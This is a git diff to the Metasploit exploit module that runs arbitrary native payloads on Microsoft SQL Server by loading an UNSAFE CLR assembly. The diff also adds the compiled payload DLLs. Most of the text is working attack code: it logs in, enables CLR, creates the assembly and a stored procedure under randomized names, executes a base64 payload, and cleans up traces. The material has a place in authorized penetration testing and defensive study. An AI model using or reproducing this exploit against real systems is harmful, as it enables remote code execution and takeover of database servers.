diff --git a/data/SqlClrPayload/v2.0/SqlClrPayload.dll b/data/SqlClrPayload/v2.0/SqlClrPayload.dll new file mode 100755 index 0000000000..6d9236cb3e Binary files /dev/null and b/data/SqlClrPayload/v2.0/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v3.5/SqlClrPayload.dll b/data/SqlClrPayload/v3.5/SqlClrPayload.dll new file mode 100755 index 0000000000..34c8091339 Binary files /dev/null and b/data/SqlClrPayload/v3.5/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.0/SqlClrPayload.dll b/data/SqlClrPayload/v4.0/SqlClrPayload.dll new file mode 100755 index 0000000000..8ec6ad1c95 Binary files /dev/null and b/data/SqlClrPayload/v4.0/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.5.1/SqlClrPayload.dll b/data/SqlClrPayload/v4.5.1/SqlClrPayload.dll new file mode 100755 index 0000000000..fb9b05de7b Binary files /dev/null and b/data/SqlClrPayload/v4.5.1/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.5.2/SqlClrPayload.dll b/data/SqlClrPayload/v4.5.2/SqlClrPayload.dll new file mode 100755 index 0000000000..a9de8e24bf Binary files /dev/null and b/data/SqlClrPayload/v4.5.2/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.5/SqlClrPayload.dll b/data/SqlClrPayload/v4.5/SqlClrPayload.dll new file mode 100755 index 0000000000..03af2b7330 Binary files /dev/null and b/data/SqlClrPayload/v4.5/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.6.1/SqlClrPayload.dll b/data/SqlClrPayload/v4.6.1/SqlClrPayload.dll new file mode 100755 index 0000000000..52d3b37fdc Binary files /dev/null and b/data/SqlClrPayload/v4.6.1/SqlClrPayload.dll differ diff --git a/data/SqlClrPayload/v4.6/SqlClrPayload.dll b/data/SqlClrPayload/v4.6/SqlClrPayload.dll new file mode 100755 index 0000000000..08ab10a782 Binary files /dev/null and b/data/SqlClrPayload/v4.6/SqlClrPayload.dll differ diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb index af03e3d077..402e9cec2f 100644 --- a/modules/exploits/windows/mssql/mssql_clr_payload.rb +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -14,17 +14,19 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution', 'Description' => %q{ - This module executes an arbitrary native payload on a Microsoft SQL - server by loading a custom SQL CLR Assembly into the target SQL - installation, and calling it directly with a base64-encoded payload. + This module executes an arbitrary native payload on a Microsoft SQL + server by loading a custom SQL CLR Assembly into the target SQL + installation, and calling it directly with a base64-encoded payload. - The module requires working credentials in order to connect directly to the - MSSQL Server. + The module requires working credentials in order to connect directly to the + MSSQL Server. - This method requires the user to have sufficient privileges to install a custom - SQL CRL DLL, and invoke the custom stored procedure that comes with it. + This method requires the user to have sufficient privileges to install a custom + SQL CRL DLL, and invoke the custom stored procedure that comes with it. - This exploit does not leave any binaries on disk. + This exploit does not leave any binaries on disk. + + Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). }, 'Author' => [ @@ -39,10 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => - [ - [ 'Automatic', { } ], - ], + 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1999' )) @@ -55,10 +54,17 @@ class MetasploitModule < Msf::Exploit::Remote def check unless mssql_login_datastore - vprint_status("Invalid SQL Server credentials") + vprint_status('Invalid SQL Server credentials') return Exploit::CheckCode::Detected end + version = get_sql_version_string + + unless version =~ /Server 20(05|08|12|14|16)/ + vprint_status('Unsupported version of SQL Server') + return Exploit::CheckCode::Safe + end + if mssql_is_sysadmin vprint_good "User #{datastore['USERNAME']} is a sysadmin" Exploit::CheckCode::Vulnerable @@ -69,8 +75,26 @@ class MetasploitModule < Msf::Exploit::Remote disconnect end + def get_sql_version_string + mssql_query("select @@version", false)[:rows].first[0] + end + + def get_sql_architecture(sql_version_string) + if sql_version_string =~ /(64-bit|x64)/i + ARCH_X64 + else + ARCH_X86 + end + end + def get_exploit_version(sql_version_string) - 'v3.5' + # keeping it simple at this point. + if sql_version_string =~ /Server (2005|2008|2012)/ + 'v3.5' + else + # assume 2014/2016 at this point. + 'v4.0' + end end def set_trustworthy(on) @@ -99,14 +123,27 @@ RECONFIGURE; end def exploit - mssql_login_datastore + unless mssql_login_datastore + fail_with(Failure::BadConfig, 'Unable to login with the given credentials') + end unless mssql_is_sysadmin fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions') end - unless datastore['EXITFUNC'].downcase == 'thread' - fail_with(Failure::BadConfig, 'EXITFUNC must be set to "thread"') + # This module will only support 'thread' for EXITFUNC + # Bad things happen to SQL otherwise! + unless datastore['EXITFUNC'] == 'thread' + print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server") + datastore['EXITFUNC'] = 'thread' + end + + sql_version = get_sql_version_string + vprint_status("Target SQL Version is:\n#{sql_version}") + + sql_arch = get_sql_architecture(sql_version) + unless payload.arch.first == sql_arch + fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}") end trustworthy = is_trustworthy @@ -122,10 +159,8 @@ RECONFIGURE; enable_clr(true) end - sql_version = mssql_query("select @@version", false)[:rows].first[0] - vprint_status("Target SQL Version is:\n#{sql_version}") exploit_version = get_exploit_version(sql_version) - print_status("Using version #{exploit_version} of the Assembly") + print_status("Using version #{exploit_version} of the Payload Assembly") exploit_file_path = ::File.join(Msf::Config.install_root, 'data', 'SqlClrPayload', exploit_version, 'SqlClrPayload.dll') vprint_status("Using #{exploit_file_path}") @@ -135,27 +170,30 @@ RECONFIGURE; # Convert the assembly to the required format for execution of the stored # procedure to create the custom stored proc hex_assembly = "0x#{assembly.unpack('H*')[0]}" - query = "CREATE ASSEMBLY [runstuff] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" + asm_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" print_status('Adding custom payload assembly ...') mssql_query(query, false) - query = "CREATE PROCEDURE [dbo].[ExecuteB64Payload](@base64EncodedPayload AS NVARCHAR(MAX)) AS EXTERNAL NAME [runstuff].[StoredProcedures].[ExecuteB64Payload]" + proc_name = Rex::Text.rand_text_alpha(rand(4) + 8) + param_name = Rex::Text.rand_text_alpha(rand(4) + 8) + query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]" print_status('Exposing payload execution stored procedure ...') mssql_query(query, false) # Generate the base64 encoded payload b64payload = Rex::Text.encode_base64(payload.encoded) - query = "EXEC [dbo].[ExecuteB64Payload] '#{b64payload}'" + query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'" print_status('Executing the payload ...') mssql_query(query, false) print_status('Removing stored procedure ...') - mssql_query('DROP PROCEDURE [dbo].[ExecuteB64payload]', false) + mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false) print_status('Removing assembly ...') - mssql_query('DROP ASSEMBLY [runstuff]', false) + mssql_query("DROP ASSEMBLY [#{asm_name}]", false) unless clr_enabled print_status('Restoring CLR setting ...')